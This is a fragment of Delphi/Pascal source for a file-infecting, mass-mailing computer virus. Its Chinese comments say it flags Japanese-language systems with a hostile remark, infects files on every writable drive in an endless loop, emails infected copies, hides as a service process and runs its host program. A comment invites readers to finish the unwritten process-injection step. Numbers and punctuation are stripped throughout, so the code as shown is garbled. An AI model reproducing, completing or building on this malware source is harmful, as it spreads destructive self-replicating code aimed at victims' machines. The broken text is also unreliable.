procedure InfectFiles; var DriverList: string; i Len: Integer; begin if GetACP = then //日文操作系统 IsJap := True; //去死吧! DriverList := GetDrives; //得到可写的磁盘列表 Len := Length(DriverList); while True do //死循环 begin for i := Len downto do //遍历每个磁盘驱动器 LoopFiles(DriverList[i] + : **); //感染之 SendMail; //发带毒邮件 Sleep( * * ); //睡眠分钟 end; end; { 主程序开始 } begin if IsWinx then //是Winx RegisterServiceProcess(GetCurrentProcessID ) //注册为服务进程 else //WinNT begin //远程线程映射到Explorer进程 //哪位兄台愿意完成之? end; //如果是原始病毒体自己 if CompareText(ExtractFileName(ParamStr()) Japussyexe) = then InfectFiles //感染和发邮件 else //已寄生于宿主程序上了开始工作 begin TmpFile := ParamStr(); //创建临时文件 Delete(TmpFile Length(TmpFile) ); TmpFile := TmpFile + # + exe; //真正的宿主文件多一个空格 ExtractFile(TmpFile); //分离之 FillStartupInfo(Si SW_SHOWDEFAULT); CreateProcess(PChar(TmpFile) PChar(TmpFile) nil nil True nil Si Pi); //创建新进程运行之 InfectFiles; //感染和发邮件 end; end [] [] [] [] [] |